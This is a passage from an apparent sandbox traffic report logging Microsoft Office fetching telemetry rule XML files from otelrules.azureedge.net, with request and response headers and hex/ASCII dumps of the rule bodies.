22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:14 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:14 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:14 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024614Z-16849878b786lft2mu9uftf3y40000000bpg00000000bf9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:14 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:15 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 7d36cbc6-401e-008c-789a-2b86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024615Z-159b85dff8fk99t5hC1DFWepmn00000000r0000000004tu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024615Z-16849878b78p8hrf1se7fucxk80000000bc0000000002rn0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:15 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024615Z-16849878b78fhxrnedubv5byks00000008ng00000000pxz4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 8cda5ddf-101e-0046-65bc-2a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024615Z-17c5cb586f62tvgppdugz3gsrn000000019g000000009f0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:15 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:15 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 763d968a-101e-008d-1b2e-2b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024615Z-15b8d89586fnfb49yv03rfgz1c000000021g000000007qqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:15 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:15 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:16 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: eb0745eb-f01e-003c-6cca-2a8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-159b85dff8f2qnk7hC1DFWwa24000000010g00000000855z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:16 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-16849878b78p8hrf1se7fucxk80000000b9000000000bw2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-15b8d89586fst84kttks1s2css000000044g000000004p7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: d6c962a3-601e-0050-3d78-2a2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-17c5cb586f6ks725u50g36qts800000002fg0000000089ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 02:46:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 02:46:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T024616Z-16849878b785dznd7xpawq9gcn0000000bx00000000015v2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 02:46:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
